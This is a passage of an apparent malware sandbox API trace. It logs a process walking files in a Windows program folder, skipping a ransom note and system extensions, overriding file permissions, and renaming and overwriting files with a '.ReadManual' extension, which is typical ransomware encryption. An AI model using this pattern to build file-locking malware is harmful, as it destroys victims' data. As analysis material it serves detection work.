dwNumberOfBytesToMap=0x13e0) returned 0x2f0000 [0258.088] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.088] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37875722128) returned 1 [0258.088] CloseHandle (hObject=0x1a0) returned 1 [0258.089] SetSecurityInfo () returned 0x5 [0258.089] SetSecurityInfo () returned 0x5 [0258.089] LocalFree (hMem=0x674d38) returned 0x0 [0258.089] CloseHandle (hObject=0x184) returned 1 [0258.089] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0258.089] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0258.089] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0258.089] StrStrIW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.089] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.089] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.089] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.089] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.089] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.089] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.089] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.089] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.089] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.089] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.089] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.089] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.089] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.089] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.089] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" [0258.089] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725" [0258.089] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned 115 [0258.089] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37875820236) returned 1 [0258.089] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png")) returned 0x20 [0258.090] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.090] GetLastError () returned 0x5 [0258.090] GetNamedSecurityInfoW () returned 0x0 [0258.090] SetNamedSecurityInfoW () returned 0x0 [0258.090] SetNamedSecurityInfoW () returned 0x0 [0258.091] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.091] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3130) returned 1 [0258.091] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc3a, lpName=0x0) returned 0x1a0 [0258.091] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf6) returned 1 [0258.092] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.092] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.093] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.094] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc3a) returned 0x2f0000 [0258.094] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.094] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37876252350) returned 1 [0258.094] CloseHandle (hObject=0x1a0) returned 1 [0258.094] SetSecurityInfo () returned 0x5 [0258.094] SetSecurityInfo () returned 0x5 [0258.094] LocalFree (hMem=0x674d38) returned 0x0 [0258.094] CloseHandle (hObject=0x184) returned 1 [0258.095] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0258.095] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0258.095] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0258.095] StrStrIW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.095] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.095] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.095] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.095] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.095] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.095] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.095] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.095] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.095] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.095] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.095] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.095] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.095] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.095] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.095] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" [0258.095] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725" [0258.095] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned 110 [0258.095] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37876413259) returned 1 [0258.095] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png")) returned 0x20 [0258.096] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.096] GetLastError () returned 0x5 [0258.096] GetNamedSecurityInfoW () returned 0x0 [0258.096] SetNamedSecurityInfoW () returned 0x0 [0258.096] SetNamedSecurityInfoW () returned 0x0 [0258.097] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.097] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5025) returned 1 [0258.097] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a1, lpName=0x0) returned 0x1a0 [0258.097] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xec) returned 1 [0258.098] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.098] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.099] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.099] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a1) returned 0x2f0000 [0258.100] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.100] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37876842899) returned 1 [0258.100] CloseHandle (hObject=0x1a0) returned 1 [0258.100] SetSecurityInfo () returned 0x5 [0258.100] SetSecurityInfo () returned 0x5 [0258.100] LocalFree (hMem=0x674d38) returned 0x0 [0258.100] CloseHandle (hObject=0x184) returned 1 [0258.100] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0258.100] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0258.100] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0258.100] StrStrIW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.100] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.100] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.100] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.100] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.100] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.100] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.100] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.100] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.100] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.100] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.100] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.100] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.100] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.100] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.101] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" [0258.101] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725" [0258.101] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned 116 [0258.101] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37876942238) returned 1 [0258.101] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png")) returned 0x20 [0258.101] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.101] GetLastError () returned 0x5 [0258.101] GetNamedSecurityInfoW () returned 0x0 [0258.101] SetNamedSecurityInfoW () returned 0x0 [0258.101] SetNamedSecurityInfoW () returned 0x0 [0258.102] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.102] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3118) returned 1 [0258.102] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2e, lpName=0x0) returned 0x1a0 [0258.102] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf8) returned 1 [0258.103] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.103] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.105] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.105] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2e) returned 0x2f0000 [0258.105] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.105] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37877377930) returned 1 [0258.105] CloseHandle (hObject=0x1a0) returned 1 [0258.105] SetSecurityInfo () returned 0x5 [0258.105] SetSecurityInfo () returned 0x5 [0258.105] LocalFree (hMem=0x674d38) returned 0x0 [0258.105] CloseHandle (hObject=0x184) returned 1 [0258.106] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0258.106] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0258.106] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0258.106] StrStrIW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.106] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.106] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.106] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.106] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.106] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.106] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.106] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.106] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.106] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.106] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.106] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.106] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.106] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.106] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.106] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" [0258.106] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725" [0258.106] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned 107 [0258.107] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37877529724) returned 1 [0258.107] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png")) returned 0x20 [0258.107] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.107] GetLastError () returned 0x5 [0258.107] GetNamedSecurityInfoW () returned 0x0 [0258.107] SetNamedSecurityInfoW () returned 0x0 [0258.107] SetNamedSecurityInfoW () returned 0x0 [0258.109] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.109] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4955) returned 1 [0258.109] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135b, lpName=0x0) returned 0x1a0 [0258.109] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe6) returned 1 [0258.109] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.109] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.111] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.111] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x135b) returned 0x2f0000 [0258.111] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.111] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37878011674) returned 1 [0258.111] CloseHandle (hObject=0x1a0) returned 1 [0258.111] SetSecurityInfo () returned 0x5 [0258.111] SetSecurityInfo () returned 0x5 [0258.112] LocalFree (hMem=0x674d38) returned 0x0 [0258.112] CloseHandle (hObject=0x184) returned 1 [0258.112] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0258.112] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0258.112] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0258.112] StrStrIW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.112] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.112] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.112] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.112] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.112] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.112] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.112] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.112] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.112] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.112] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.112] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.112] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.112] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.112] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.112] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" [0258.112] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD 